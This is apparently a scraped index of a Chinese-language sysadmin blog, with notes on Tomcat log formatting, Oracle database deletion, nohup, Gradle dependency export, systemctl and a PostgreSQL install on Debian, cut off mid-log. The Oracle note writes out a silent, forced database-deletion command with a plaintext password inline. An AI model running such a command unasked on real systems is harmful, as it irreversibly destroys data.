--add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED OpenJDK 64-Bit Server VM warning: Option UseBiasedLocking was deprecated in version 15.0 and will likely be removed in a future release. \u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34; standalone=\u0026#34;no\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE log SYSTEM \u0026#34;logger.dtd\u0026#34;\u0026gt; \u0026lt;log\u0026gt; \u0026lt;record\u0026gt; \u0026lt;date\u0026gt;2025-01-02T16:08:13.008713022Z\u0026lt;/date\u0026gt; \u0026lt;millis\u0026gt;1735834093008\u0026lt;/millis\u0026gt; \u0026lt;nanos\u0026gt;713022\u0026lt;/nanos\u0026gt; \u0026lt;sequence\u0026gt;0\u0026lt;/sequence\u0026gt; \u0026lt;logger\u0026gt;org.apache.tomcat.util.digester.Digester\u0026lt;/logger\u0026gt; \u0026lt;level\u0026gt;WARNING\u0026lt;/level\u0026gt; \u0026lt;class\u0026gt;org.apache.tomcat.util.digester.SetPropertiesRule\u0026lt;/class\u0026gt; \u0026lt;method\u0026gt;begin\u0026lt;/method\u0026gt; \u0026lt;thread\u0026gt;1\u0026lt;/thread\u0026gt; \u0026lt;message\u0026gt;Match [Server/Service/Engine/Host] failed to set property [reloadable] to [false]\u0026lt;/message\u0026gt; \u0026lt;/record\u0026gt; \u0026lt;record\u0026gt; \u0026lt;date\u0026gt;2025-01-02T16:08:13.021339079Z\u0026lt;/date\u0026gt; \u0026lt;millis\u0026gt;1735834093021\u0026lt;/millis\u0026gt; \u0026lt;nanos\u0026gt;339079\u0026lt;/nanos\u0026gt; \u0026lt;sequence\u0026gt;1\u0026lt;/sequence\u0026gt; \u0026lt;logger\u0026gt;org.apache.catalina.core.AprLifecycleListener\u0026lt;/logger\u0026gt; \u0026lt;level\u0026gt;INFO\u0026lt;/level\u0026gt; \u0026lt;class\u0026gt;org.apache.catalina.core.AprLifecycleListener\u0026lt;/class\u0026gt; \u0026lt;method\u0026gt;lifecycleEvent\u0026lt;/method\u0026gt; \u0026lt;thread\u0026gt;1\u0026lt;/thread\u0026gt; \u0026lt;message\u0026gt;The Apache Tomcat Native library which allows using OpenSSL was not found on the java.library.path: [/usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib]\u0026lt;/message\u0026gt; \u0026lt;/record\u0026gt; \u0026lt;record\u0026gt; \u0026lt;date\u0026gt;2025-01-02T16:08:13.162949950Z\u0026lt;/date\u0026gt; \u0026lt;millis\u0026gt;1735834093162\u0026lt;/millis\u0026gt; \u0026lt;nanos\u0026gt;949950\u0026lt;/nanos\u0026gt; \u0026lt;sequence\u0026gt;2\u0026lt;/sequence\u0026gt; \u0026lt;logger\u0026gt;org.apache.coyote.http11.Http11Nio2Protocol\u0026lt;/logger\u0026gt; \u0026lt;level\u0026gt;INFO\u0026lt;/level\u0026gt; \u0026lt;class\u0026gt;org.apache.coyote.AbstractProtocol\u0026lt;/class\u0026gt; \u0026lt;method\u0026gt;init\u0026lt;/method\u0026gt; \u0026lt;thread\u0026gt;1\u0026lt;/thread\u0026gt; \u0026lt;message\u0026gt;Initializing ProtocolHandler [\u0026#34;http-nio2-10010\u0026#34;]\u0026lt;/message\u0026gt; \u0026lt;/record\u0026gt; \u0026lt;record\u0026gt; \u0026lt;date\u0026gt;2025-01-02T16:08:13.199216579Z\u0026lt;/date\u0026gt; \u0026lt;millis\u0026gt;1735834093199\u0026lt;/millis\u0026gt; \u0026lt;nanos\u0026gt;216579\u0026lt;/nanos\u0026gt; \u0026lt;sequence\u0026gt;3\u0026lt;/sequence\u0026gt; \u0026lt;logger\u0026gt;org.apache.catalina.startup.Catalina\u0026lt;/logger\u0026gt; \u0026lt;level\u0026gt;INFO\u0026lt;/level\u0026gt; \u0026lt;class\u0026gt;org.apache.catalina.startup.Catalina\u0026lt;/class\u0026gt; \u0026lt;method\u0026gt;load\u0026lt;/method\u0026gt; \u0026lt;thread\u0026gt;1\u0026lt;/thread\u0026gt; \u0026lt;message\u0026gt;Server initialization in [320] milliseconds\u0026lt;/message\u0026gt; \u0026lt;/record\u0026gt; \u0026lt;record\u0026gt; \u0026lt;date\u0026gt;2025-01-02T16:08:13.228305592Z\u0026lt;/date\u0026gt; \u0026lt;millis\u0026gt;1735834093228\u0026lt;/millis\u0026gt; \u0026lt;nanos\u0026gt;305592\u0026lt;/nanos\u0026gt; \u0026lt;sequence\u0026gt;4\u0026lt;/sequence\u0026gt; \u0026lt;logger\u0026gt;org.apache.catalina.core.StandardService\u0026lt;/logger\u0026gt; \u0026lt;level\u0026gt;INFO\u0026lt;/level\u0026gt; \u0026lt;class\u0026gt;org.apache.catalina.core.StandardService\u0026lt;/class\u0026gt; \u0026lt;method\u0026gt;startInternal\u0026lt;/method\u0026gt; \u0026lt;thread\u0026gt;1\u0026lt;/thread\u0026gt; \u0026lt;message\u0026gt;Starting service [Catalina]\u0026lt;/message\u0026gt; \u0026lt;/record\u0026gt; \u0026lt;record\u0026gt; \u0026lt;date\u0026gt;2025-01-02T16:08:13.228692741Z\u0026lt;/date\u0026gt; \u0026lt;millis\u0026gt;1735834093228\u0026lt;/millis\u0026gt; \u0026lt;nanos\u0026gt;692741\u0026lt;/nanos\u0026gt; \u0026lt;sequence\u0026gt;5\u0026lt;/sequence\u0026gt; \u0026lt;logger\u0026gt;org.apache.catalina.core.StandardEngine\u0026lt;/logger\u0026gt; \u0026lt;level\u0026gt;INFO\u0026lt;/level\u0026gt; \u0026lt;class\u0026gt;org.apache.catalina.core.StandardEngine\u0026lt;/class\u0026gt; \u0026lt;method\u0026gt;startInternal\u0026lt;/method\u0026gt; \u0026lt;thread\u0026gt;1\u0026lt;/thread\u0026gt; \u0026lt;message\u0026gt;Starting Servlet engine: [Apache Tomcat/9.0.98]\u0026lt;/message\u0026gt; \u0026lt;/record\u0026gt; \u0026lt;record\u0026gt; \u0026lt;date\u0026gt;2025-01-02T16:08:13.234136370Z\u0026lt;/date\u0026gt; \u0026lt;millis\u0026gt;1735834093234\u0026lt;/millis\u0026gt; \u0026lt;nanos\u0026gt;136370\u0026lt;/nanos\u0026gt; \u0026lt;sequence\u0026gt;6\u0026lt;/sequence\u0026gt; \u0026lt;logger\u0026gt;org.apache.catalina.startup.HostConfig\u0026lt;/logger\u0026gt; \u0026lt;level\u0026gt;INFO\u0026lt;/level\u0026gt; \u0026lt;class\u0026gt;org.apache.catalina.startup.HostConfig\u0026lt;/class\u0026gt; \u0026lt;method\u0026gt;deployDirectory\u0026lt;/method\u0026gt; \u0026lt;thread\u0026gt;1\u0026lt;/thread\u0026gt; \u0026lt;message\u0026gt;Deploying web application directory [/data/webapps/w1/grailsException]\u0026lt;/message\u0026gt; \u0026lt;/record\u0026gt; \u0026lt;record\u0026gt; \u0026lt;date\u0026gt;2025-01-02T16:08:15.464016570Z\u0026lt;/date\u0026gt; \u0026lt;millis\u0026gt;1735834095464\u0026lt;/millis\u0026gt; \u0026lt;nanos\u0026gt;16570\u0026lt;/nanos\u0026gt; \u0026lt;sequence\u0026gt;7\u0026lt;/sequence\u0026gt; \u0026lt;logger\u0026gt;org.apache.jasper.servlet.TldScanner\u0026lt;/logger\u0026gt; \u0026lt;level\u0026gt;INFO\u0026lt;/level\u0026gt; \u0026lt;class\u0026gt;org.apache.jasper.servlet.TldScanner\u0026lt;/class\u0026gt; \u0026lt;method\u0026gt;scanJars\u0026lt;/method\u0026gt; \u0026lt;thread\u0026gt;1\u0026lt;/thread\u0026gt; \u0026lt;message\u0026gt;At least one JAR was scanned for TLDs yet contained no TLDs. Enable debug logging for this logger for a complete list of JARs that were scanned but no TLDs were found in them. Skipping unneeded JARs during scanning can improve startup time and JSP compilation time.\u0026lt;/message\u0026gt; \u0026lt;/record\u0026gt; \u0026lt;record\u0026gt; \u0026lt;date\u0026gt;2025-01-02T16:08:21.824003613Z\u0026lt;/date\u0026gt; \u0026lt;millis\u0026gt;1735834101824\u0026lt;/millis\u0026gt; \u0026lt;nanos\u0026gt;3613\u0026lt;/nanos\u0026gt; \u0026lt;sequence\u0026gt;8\u0026lt;/sequence\u0026gt; \u0026lt;logger\u0026gt;org.apache.catalina.startup.HostConfig\u0026lt;/logger\u0026gt; \u0026lt;level\u0026gt;INFO\u0026lt;/level\u0026gt; \u0026lt;class\u0026gt;org.apache.catalina.startup.HostConfig\u0026lt;/class\u0026gt; \u0026lt;method\u0026gt;deployDirectory\u0026lt;/method\u0026gt; \u0026lt;thread\u0026gt;1\u0026lt;/thread\u0026gt; \u0026lt;message\u0026gt;Deployment of web application directory [/data/webapps/w1/grailsException] has finished in [8,589] ms\u0026lt;/message\u0026gt; \u0026lt;/record\u0026gt; \u0026lt;record\u0026gt; \u0026lt;date\u0026gt;2025-01-02T16:08:21.825764012Z\u0026lt;/date\u0026gt; \u0026lt;millis\u0026gt;1735834101825\u0026lt;/millis\u0026gt; \u0026lt;nanos\u0026gt;764012\u0026lt;/nanos\u0026gt; \u0026lt;sequence\u0026gt;9\u0026lt;/sequence\u0026gt; \u0026lt;logger\u0026gt;org.apache.coyote.http11.Http11Nio2Protocol\u0026lt;/logger\u0026gt; \u0026lt;level\u0026gt;INFO\u0026lt;/level\u0026gt; \u0026lt;class\u0026gt;org.apache.coyote.AbstractProtocol\u0026lt;/class\u0026gt; \u0026lt;method\u0026gt;start\u0026lt;/method\u0026gt; \u0026lt;thread\u0026gt;1\u0026lt;/thread\u0026gt; \u0026lt;message\u0026gt;Starting ProtocolHandler [\u0026#34;http-nio2-10010\u0026#34;]\u0026lt;/message\u0026gt; \u0026lt;/record\u0026gt; \u0026lt;record\u0026gt; \u0026lt;date\u0026gt;2025-01-02T16:08:21.830333429Z\u0026lt;/date\u0026gt; \u0026lt;millis\u0026gt;1735834101830\u0026lt;/millis\u0026gt; \u0026lt;nanos\u0026gt;333429\u0026lt;/nanos\u0026gt; \u0026lt;sequence\u0026gt;10\u0026lt;/sequence\u0026gt; \u0026lt;logger\u0026gt;org.apache.catalina.startup.Catalina\u0026lt;/logger\u0026gt; \u0026lt;level\u0026gt;INFO\u0026lt;/level\u0026gt; \u0026lt;class\u0026gt;org.apache.catalina.startup.Catalina\u0026lt;/class\u0026gt; \u0026lt;method\u0026gt;start\u0026lt;/method\u0026gt; \u0026lt;thread\u0026gt;1\u0026lt;/thread\u0026gt; \u0026lt;message\u0026gt;Server startup in [8630] milliseconds\u0026lt;/message\u0026gt; \u0026lt;/record\u0026gt; 至於套用 log4j 或是 slf4j 就不在此篇範圍了，因為我要去睡覺了\n參考資料 # Package org.apache.juli Apache Tomcat 9 - Logging in Tomcat ","date":"January 2, 2025","externalUrl":null,"permalink":"/worknot/tomcat-log-formatter/","section":"Worknots","summary":"這幾天工作上有針對日誌設定做討論，但是單純對tomcat 日誌設定似乎缺少了實做探究，於是在下班之餘稍微探究了一下。今天先對日誌格式做研究。\n在官網對於 log 工具預設是由 java 原生日誌工具處理 java.util.logging\n","title":"tomcat log 格式探究","type":"worknot"},{"content":"Oracle 刪除資料庫\n先查詢資料庫名稱 1 select name, open_mode from v$database; 1 2 3 4 5 SQL\u0026gt; select name, open_mode from v$database; NAME OPEN_MODE --------- -------------------- TEST READ WRITE 關閉資料庫 1 SQL\u0026gt; shut immediate; 1 2 3 4 5 SQL\u0026gt; shut immediate; Database closed. Database dismounted. ORACLE instance shut down 刪除資料庫 1 dbca -silent -deleteDatabase -sourceDB TEST -sysDBAUserName SysPassword1 -sysDBAPassword SysPassword1 -forceArchiveLogDeletion 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 [oracle@oracle-19c listener]$ dbca -silent -deleteDatabase -sourceDB TEST -sysDBAUserName SysPassword1 -sysDBAPassword SysPassword1 -forceArchiveLogDeletion [WARNING] [DBT-05513] Failed to connect to the database (TEST). CAUSE: Specified database credential is not valid to connect to the database (TEST). ACTION: Specify a valid sysdba user name and password to connect to the database. [WARNING] [DBT-11503] The instance (TEST) is not running on the local node. This may result in partial delete of Oracle database. CAUSE: A locally running instance is required for complete deletion of Oracle database instance and database files. ACTION: Specify a locally running database, or execute DBCA on a node where the database instance is running. [WARNING] [DBT-19202] The Database Configuration Assistant will delete the Oracle instances and datafiles for your database. All information in the database will be destroyed. Prepare for db operation 32% complete Connecting to database 35% complete 39% complete 42% complete [WARNING] The data files for database with SID \u0026#34;TEST\u0026#34; could not be determined because the database could not be started. DBCA will proceed with the service deletion. 65% complete Updating network configuration files 68% complete Deleting instance and datafiles 84% complete 100% complete Database deletion completed. Look at the log file \u0026#34;/u01/app/oracle/cfgtoollogs/dbca/TEST/TEST.log\u0026#34; for further details. ","date":"December 30, 2024","externalUrl":null,"permalink":"/oracle-database/oracle-delete-database/","section":"Oracle-Databases","summary":"Oracle 刪除資料庫\n先查詢資料庫名稱 1 select name, open_mode from v$database; 1 2 3 4 5 SQL\u003e select name, open_mode from v$database; NAME OPEN_MODE --------- -------------------- TEST READ WRITE 關閉資料庫 1 SQL\u003e shut immediate; 1 2 3 4 5 SQL\u003e shut immediate; Database closed. Database dismounted. ORACLE instance shut down 刪除資料庫 1 dbca -silent -deleteDatabase -sourceDB TEST -sysDBAUserName SysPassword1 -sysDBAPassword SysPassword1 -forceArchiveLogDeletion 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 [oracle@oracle-19c listener]$ dbca -silent -deleteDatabase -sourceDB TEST -sysDBAUserName SysPassword1 -sysDBAPassword SysPassword1 -forceArchiveLogDeletion [WARNING] [DBT-05513] Failed to connect to the database (TEST). CAUSE: Specified database credential is not valid to connect to the database (TEST). ACTION: Specify a valid sysdba user name and password to connect to the database. [WARNING] [DBT-11503] The instance (TEST) is not running on the local node. This may result in partial delete of Oracle database. CAUSE: A locally running instance is required for complete deletion of Oracle database instance and database files. ACTION: Specify a locally running database, or execute DBCA on a node where the database instance is running. [WARNING] [DBT-19202] The Database Configuration Assistant will delete the Oracle instances and datafiles for your database. All information in the database will be destroyed. Prepare for db operation 32% complete Connecting to database 35% complete 39% complete 42% complete [WARNING] The data files for database with SID \"TEST\" could not be determined because the database could not be started. DBCA will proceed with the service deletion. 65% complete Updating network configuration files 68% complete Deleting instance and datafiles 84% complete 100% complete Database deletion completed. Look at the log file \"/u01/app/oracle/cfgtoollogs/dbca/TEST/TEST.log\" for further details. ","title":"Oracle Delete Database","type":"oracle-database"},{"content":" 1 2 3 4 5 6 7 8 # 將腳本丟到背景執行，會輸出背景執行 PID Number nohup /usr/local/bin/example-shell.sh \u0026amp; # 監控結果 tail -f nohup.out # 監控背景程序還有執行 watch -n 1 \u0026#34;ps -p 120448 -o pid,ppid,%cpu,%mem,cmd\u0026#34; ","date":"December 30, 2024","externalUrl":null,"permalink":"/worknot/worknot-20241230-1/","section":"Worknots","summary":" 1 2 3 4 5 6 7 8 # 將腳本丟到背景執行，會輸出背景執行 PID Number nohup /usr/local/bin/example-shell.sh \u0026 # 監控結果 tail -f nohup.out # 監控背景程序還有執行 watch -n 1 \"ps -p 120448 -o pid,ppid,%cpu,%mem,cmd\" ","title":"將腳本丟到背景執行","type":"worknot"},{"content":"","date":"December 24, 2024","externalUrl":null,"permalink":"/tags/gradle/","section":"Tags","summary":"","title":"Gradle","type":"tags"},{"content":"","date":"December 24, 2024","externalUrl":null,"permalink":"/categories/grails/","section":"Categories","summary":"","title":"Grails","type":"categories"},{"content":"Grails 匯出專案中相依套件的 jar\n環境 # grails version: grails5 設定方式 # 在 build.gradle 新增設定\n1 2 3 4 5 6 7 8 configurations { runtime.extendsFrom(compileClasspath, runtimeOnly) } task copyToLib(type: Copy) { into \u0026#34;$buildDir/output/lib\u0026#34; from configurations.runtime } 參考資料 # Gathering project dependencies into folder with Gradle 7 ","date":"December 24, 2024","externalUrl":null,"permalink":"/worknot/grails-export-dependencies/","section":"Worknots","summary":"Grails 匯出專案中相依套件的 jar\n環境 # grails version: grails5 設定方式 # 在 build.gradle 新增設定\n","title":"Grails Export Dependencies","type":"worknot"},{"content":" 變更 systemctl 默認編輯器 # 1 sudo update-alternatives --config editor 執行結果\n1 2 3 4 5 6 7 8 9 10 11 12 root@example:~# sudo update-alternatives --config editor There are 3 choices for the alternative editor (providing /usr/bin/editor). Selection Path Priority Status ------------------------------------------------------------ * 0 /bin/nano 40 auto mode 1 /bin/nano 40 manual mode 2 /usr/bin/vim.basic 30 manual mode 3 /usr/bin/vim.tiny 15 manual mode Press \u0026lt;enter\u0026gt; to keep the current choice[*], or type selection number: 2 update-alternatives: using /usr/bin/vim.basic to provide /usr/bin/editor (editor) in manual mode 同檔名優先權 # 在 /etc/systemd/system 與 /lib/systemd/system 有相同服務檔案名，會優先使用 /etc/systemd/system 路徑中的內容。\n","date":"December 22, 2024","externalUrl":null,"permalink":"/worknot/systemctl/","section":"Worknots","summary":"變更 systemctl 默認編輯器 # 1 sudo update-alternatives --config editor 執行結果\n1 2 3 4 5 6 7 8 9 10 11 12 root@example:~# sudo update-alternatives --config editor There are 3 choices for the alternative editor (providing /usr/bin/editor). Selection Path Priority Status ------------------------------------------------------------ * 0 /bin/nano 40 auto mode 1 /bin/nano 40 manual mode 2 /usr/bin/vim.basic 30 manual mode 3 /usr/bin/vim.tiny 15 manual mode Press \u003center\u003e to keep the current choice[*], or type selection number: 2 update-alternatives: using /usr/bin/vim.basic to provide /usr/bin/editor (editor) in manual mode 同檔名優先權 # 在 /etc/systemd/system 與 /lib/systemd/system 有相同服務檔案名，會優先使用 /etc/systemd/system 路徑中的內容。\n","title":"systemctl","type":"worknot"},{"content":" 環境 # OS: Debian 12 Database version: postgresql 14 安裝 # 1 2 3 4 5 6 sudo apt -y install curl ca-certificates sudo install -d /usr/share/postgresql-common/pgdg sudo curl -o /usr/share/postgresql-common/pgdg/apt.postgresql.org.asc --fail https://www.postgresql.org/media/keys/ACCC4CF8.asc sudo sh -c \u0026#39;echo \u0026#34;deb [signed-by=/usr/share/postgresql-common/pgdg/apt.postgresql.org.asc] https://apt.postgresql.org/pub/repos/apt $(lsb_release -cs)-pgdg main\u0026#34; \u0026gt; /etc/apt/sources.list.d/pgdg.list\u0026#39; sudo apt update sudo apt -y install postgresql-14 執行結果\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 pollochang@pl-dns-01:~$ sudo apt -y install curl ca-certificates sudo: unable to resolve host pl-dns-01: Name or service not known [sudo] password for pollochang: Reading package lists... Done Building dependency tree... Done Reading state information... Done ca-certificates is already the newest version (20230311). The following package was automatically installed and is no longer required: linux-image-6.1.0-22-amd64 Use \u0026#39;sudo apt autoremove\u0026#39; to remove it. The following NEW packages will be installed: curl libcurl4 0 upgraded, 2 newly installed, 0 to remove and 0 not upgraded. Need to get 705 kB of archives. After this operation, 1,359 kB of additional disk space will be used. Get:1 http://ftp.tw.debian.org/debian bookworm/main amd64 libcurl4 amd64 7.88.1-10+deb12u8 [390 kB] Get:2 http://ftp.tw.debian.org/debian bookworm/main amd64 curl amd64 7.88.1-10+deb12u8 [315 kB] Fetched 705 kB in 1s (1,132 kB/s) Selecting previously unselected package libcurl4:amd64. (Reading database ... 42476 files and directories currently installed.) Preparing to unpack .../libcurl4_7.88.1-10+deb12u8_amd64.deb ... Unpacking libcurl4:amd64 (7.88.1-10+deb12u8) ... Selecting previously unselected package curl. Preparing to unpack .../curl_7.88.1-10+deb12u8_amd64.deb ... Unpacking curl (7.88.1-10+deb12u8) ... Setting up libcurl4:amd64 (7.88.1-10+deb12u8) ... Setting up curl (7.88.1-10+deb12u8) ... Processing triggers for man-db (2.11.2-2) ... Processing triggers for libc-bin (2.36-9+deb12u9) ... pollochang@pl-dns-01:~$ sudo install -d /usr/share/postgresql-common/pgdg sudo: unable to resolve host pl-dns-01: Name or service not known pollochang@pl-dns-01:~$ sudo curl -o /usr/share/postgresql-common/pgdg/apt.postgresql.org.asc --fail https://www.postgresql.org/media/keys/ACCC4CF8.asc sudo: unable to resolve host pl-dns-01: Name or service not known % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 4812 100 4812 0 0 2555 0 0:00:01 0:00:01 --:--:-- 2555 pollochang@pl-dns-01:~$ sudo sh -c \u0026#39;echo \u0026#34;deb [signed-by=/usr/share/postgresql-common/pgdg/apt.postgresql.org.asc] https://apt.postgresql.org/pub/repos/apt $(lsb_release -cs)-pgdg main\u0026#34; \u0026gt; /etc/apt/sources.list.d/pgdg.list\u0026#39; pollochang@pl-dns-01:~$ sudo apt update Hit:1 http://ftp.tw.debian.org/debian bookworm InRelease Get:2 http://ftp.tw.debian.org/debian bookworm-updates InRelease [55.4 kB] Get:3 http://security.debian.org/debian-security bookworm-security InRelease [48.0 kB] Get:4 https://apt.postgresql.org/pub/repos/apt bookworm-pgdg InRelease [129 kB] Get:5 https://apt.postgresql.org/pub/repos/apt bookworm-pgdg/main amd64 Packages [360 kB] Fetched 593 kB in 4s (138 kB/s) Reading package lists... Done Building dependency tree... Done Reading state information... Done All packages are up to date. pollochang@pl-dns-01:~$ sudo apt -y install postgresql-14 Reading package lists... Done Building dependency tree... Done Reading state information... Done The following package was automatically installed and is no longer required: linux-image-6.1.0-22-amd64 Use \u0026#39;sudo apt autoremove\u0026#39; to remove it. The following additional packages will be installed: libcommon-sense-perl libio-pty-perl libipc-run-perl libjson-perl libjson-xs-perl libllvm16 libpq5 libsensors-config libsensors5 libtypes-serialiser-perl libxslt1.1 libz3-4 postgresql-client-14 postgresql-client-common postgresql-common ssl-cert sysstat Suggested packages: lm-sensors postgresql-doc-14 isag The following NEW packages will be installed: libcommon-sense-perl libio-pty-perl libipc-run-perl libjson-perl libjson-xs-perl libllvm16 libpq5 libsensors-config libsensors5 libtypes-serialiser-perl libxslt1.1 libz3-4 postgresql-14 postgresql-client-14 postgresql-client-common postgresql-common ssl-cert sysstat 0 upgraded, 18 newly installed, 0 to remove and 0 not upgraded. Need to get 49.7 MB of archives. After this operation, 211 MB of additional disk space will be used. Get:1 http://ftp.tw.debian.org/debian bookworm/main amd64 libjson-perl all 4.10000-1 [87.5 kB] Get:2 http://ftp.tw.debian.org/debian bookworm/main amd64 libio-pty-perl amd64 1:1.17-1 [34.9 kB] Get:3 http://ftp.tw.debian.org/debian bookworm/main amd64 libipc-run-perl all 20220807.0-1 [104 kB] Get:4 http://ftp.tw.debian.org/debian bookworm/main amd64 ssl-cert all 1.1.2 [21.1 kB] Get:5 http://ftp.tw.debian.org/debian bookworm/main amd64 libcommon-sense-perl amd64 3.75-3 [23.0 kB] Get:6 http://ftp.tw.debian.org/debian bookworm/main amd64 libtypes-serialiser-perl all 1.01-1 [12.2 kB] Get:7 http://ftp.tw.debian.org/debian bookworm/main amd64 libjson-xs-perl amd64 4.030-2+b1 [92.1 kB] Get:8 http://ftp.tw.debian.org/debian bookworm/main amd64 libz3-4 amd64 4.8.12-3.1 [7,216 kB] Get:9 https://apt.postgresql.org/pub/repos/apt bookworm-pgdg/main amd64 postgresql-client-common all 267.pgdg120+1 [37.5 kB] Get:10 https://apt.postgresql.org/pub/repos/apt bookworm-pgdg/main amd64 postgresql-common all 267.pgdg120+1 [183 kB] Get:11 https://apt.postgresql.org/pub/repos/apt bookworm-pgdg/main amd64 libpq5 amd64 17.2-1.pgdg120+1 [223 kB] Get:12 http://ftp.tw.debian.org/debian bookworm/main amd64 libllvm16 amd64 1:16.0.6-15~deb12u1 [23.0 MB] Get:13 https://apt.postgresql.org/pub/repos/apt bookworm-pgdg/main amd64 postgresql-client-14 amd64 14.15-1.pgdg120+1 [1,640 kB] Get:14 https://apt.postgresql.org/pub/repos/apt bookworm-pgdg/main amd64 postgresql-14 amd64 14.15-1.pgdg120+1 [16.1 MB] Get:15 http://ftp.tw.debian.org/debian bookworm/main amd64 libsensors-config all 1:3.6.0-7.1 [14.3 kB] Get:16 http://ftp.tw.debian.org/debian bookworm/main amd64 libsensors5 amd64 1:3.6.0-7.1 [34.2 kB] Get:17 http://ftp.tw.debian.org/debian bookworm/main amd64 libxslt1.1 amd64 1.1.35-1 [242 kB] Get:18 http://ftp.tw.debian.org/debian bookworm/main amd64 sysstat amd64 12.6.1-1 [596 kB] Fetched 49.7 MB in 36s (1,371 kB/s) Preconfiguring packages ... Selecting previously unselected package libjson-perl. (Reading database ... 42489 files and directories currently installed.) Preparing to unpack .../00-libjson-perl_4.10000-1_all.deb ... Unpacking libjson-perl (4.10000-1) ... Selecting previously unselected package libio-pty-perl. Preparing to unpack .../01-libio-pty-perl_1%3a1.17-1_amd64.deb ... Unpacking libio-pty-perl (1:1.17-1) ... Selecting previously unselected package libipc-run-perl. Preparing to unpack .../02-libipc-run-perl_20220807.0-1_all.deb ... Unpacking libipc-run-perl (20220807.0-1) ... Selecting previously unselected package postgresql-client-common. Preparing to unpack .../03-postgresql-client-common_267.pgdg120+1_all.deb ... Unpacking postgresql-client-common (267.pgdg120+1) ... Selecting previously unselected package ssl-cert. Preparing to unpack .../04-ssl-cert_1.1.2_all.deb ... Unpacking ssl-cert (1.1.2) ... Selecting previously unselected package postgresql-common. Preparing to unpack .../05-postgresql-common_267.pgdg120+1_all.deb ... Adding \u0026#39;diversion of /usr/bin/pg_config to /usr/bin/pg_config.libpq-dev by postgresql-common\u0026#39; Unpacking postgresql-common (267.pgdg120+1) ... Selecting previously unselected package libcommon-sense-perl:amd64. Preparing to unpack .../06-libcommon-sense-perl_3.75-3_amd64.deb ... Unpacking libcommon-sense-perl:amd64 (3.75-3) ... Selecting previously unselected package libtypes-serialiser-perl. Preparing to unpack .../07-libtypes-serialiser-perl_1.01-1_all.deb ... Unpacking libtypes-serialiser-perl (1.01-1) ... Selecting previously unselected package libjson-xs-perl. Preparing to unpack .../08-libjson-xs-perl_4.030-2+b1_amd64.deb ... Unpacking libjson-xs-perl (4.030-2+b1) ... Selecting previously unselected package libz3-4:amd64. Preparing to unpack .../09-libz3-4_4.8.12-3.1_amd64.deb ... Unpacking libz3-4:amd64 (4.8.12-3.1) ... Selecting previously unselected package libllvm16:amd64. Preparing to unpack .../10-libllvm16_1%3a16.0.6-15~deb12u1_amd64.deb ... Unpacking libllvm16:amd64 (1:16.0.6-15~deb12u1) ... Selecting previously unselected package libpq5:amd64. Preparing to unpack .../11-libpq5_17.2-1.pgdg120+1_amd64.deb ... Unpacking libpq5:amd64 (17.2-1.pgdg120+1) ... Selecting previously unselected package libsensors-config. Preparing to unpack .../12-libsensors-config_1%3a3.6.0-7.1_all.deb ... Unpacking libsensors-config (1:3.6.0-7.1) ... Selecting previously unselected package libsensors5:amd64. Preparing to unpack .../13-libsensors5_1%3a3.6.0-7.1_amd64.deb ... Unpacking libsensors5:amd64 (1:3.6.0-7.1) ... Selecting previously unselected package libxslt1.1:amd64. Preparing to unpack .../14-libxslt1.1_1.1.35-1_amd64.deb ... Unpacking libxslt1.1:amd64 (1.1.35-1) ... Selecting previously unselected package postgresql-client-14. Preparing to unpack .../15-postgresql-client-14_14.15-1.pgdg120+1_amd64.deb ... Unpacking postgresql-client-14 (14.15-1.pgdg120+1) ... Selecting previously unselected package postgresql-14. Preparing to unpack .../16-postgresql-14_14.15-1.pgdg120+1_amd64.deb ... Unpacking postgresql-14 (14.15-1.pgdg120+1) ... Selecting previously unselected package sysstat. Preparing to unpack .../17-sysstat_12.6.1-1_amd64.deb ... Unpacking sysstat (12.6.1-1) ... Setting up libio-pty-perl (1:1.17-1) ... Setting up libsensors-config (1:3.6.0-7.1) ... Setting up libpq5:amd64 (17.2-1.pgdg120+1) ... Setting up libcommon-sense-perl:amd64 (3.75-3) ... Setting up libz3-4:amd64 (4.8.12-3.1) ... Setting up ssl-cert (1.1.2) ... Setting up libipc-run-perl (20220807.0-1) ... Setting up libsensors5:amd64 (1:3.6.0-7.1) ... Setting up libtypes-serialiser-perl (1.01-1) ... Setting up libjson-perl (4.10000-1) ... Setting up libxslt1.1:amd64 (1.1.35-1) ... Setting up libllvm16:amd64 (1:16.0.6-15~deb12u1) ... Setting up sysstat (12.6.1-1) ... Creating config file /etc/default/sysstat with new version update-alternatives: using /usr/bin/sar.sysstat to provide /usr/bin/sar (sar) in auto mode Created symlink /etc/systemd/system/sysstat.service.wants/sysstat-collect.timer → /lib/systemd/system/sysstat-collect.timer. Created symlink /etc/systemd/system/sysstat.service.wants/sysstat-summary.timer → /lib/systemd/system/sysstat-summary.timer. Created symlink /etc/systemd/system/multi-user.target.wants/sysstat.service → /lib/systemd/system/sysstat.service. Setting up postgresql-client-common (267.pgdg120+1) ... Setting up libjson-xs-perl (4.030-2+b1) ... Setting up postgresql-client-14 (14.15-1.pgdg120+1) ... update-alternatives: using /usr/share/postgresql/14/man/man1/psql.1.gz to provide /usr/share/man/man1/psql.1.gz (psql.1.gz) in auto mode Setting up postgresql-common (267.pgdg120+1) ... Creating config file /etc/postgresql-common/createcluster.conf with new version Building PostgreSQL dictionaries from installed 